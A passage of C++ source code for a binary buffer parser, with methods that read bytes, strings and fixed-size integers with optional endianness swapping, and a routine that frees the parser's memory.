parser->Length -= Length;
parser->Buffer += Length;
if ( size != NULL )
*size = Length;
return outdata;
}
auto DECLFN Parser::Destroy(
_In_ PPARSER Parser
) -> BOOL {
if ( ! Parser ) return FALSE;
BOOL Success = TRUE;
if ( Parser->Original ) {
if ( Self->Hp->CheckPtr( Parser->Original ) ) {
Success = KhFree( Parser->Original );
}
Parser->Original = nullptr;
Parser->Length = 0;
}
if ( Parser ) {
if ( Self->Hp->CheckPtr( Parser ) ) {
Success = KhFree( Parser );
}
Parser = nullptr;
}
return Success;
}
auto DECLFN Parser::Str(
_In_ PPARSER parser,
_In_ ULONG* size
) -> PCHAR {
return ( PCHAR ) Self->Psr->Bytes( parser, size );
}
auto DECLFN Parser::Wstr(
_In_ PPARSER parser,
_In_ ULONG* size
) -> PWCHAR {
return ( PWCHAR )Self->Psr->Bytes( parser, size );
}
auto DECLFN Parser::Int16(
_In_ PPARSER parser
) -> INT16 {
INT16 intBytes = 0;
if ( parser->Length < 2 )
return 0;
Mem::Copy( PTR( &intBytes ), PTR( parser->Buffer ), 2 );
parser->Buffer += 2;
parser->Length -= 2;
if ( !this->Endian )
return intBytes;
else
return __builtin_bswap16( intBytes ) ;
}
auto DECLFN Parser::Int64(
_In_ PPARSER parser
) -> INT64 {
INT64 intBytes = 0;
if ( ! parser )
return 0;
if ( parser->Length < 8 )
return 0;
Mem::Copy( PTR( &intBytes ), PTR( parser->Buffer ), 8 );
parser->Buffer += 8;
parser->Length -= 8;
if ( !this->Endian )
return ( INT64 ) intBytes;
else
return ( INT64 ) __builtin_bswap64( intBytes );
}
auto DECLFN Parser::Byte(
_In_ PPARSER parser
) -> BYTE {
BYTE intBytes = 0;
if ( parser->Length < 1 )
return 0;
Mem::Copy( PTR( &intBytes ), PTR( parser->Buffer ), 1 );
parser->Buffer += 1;
parser->Length -= 1;
return intBytes;
}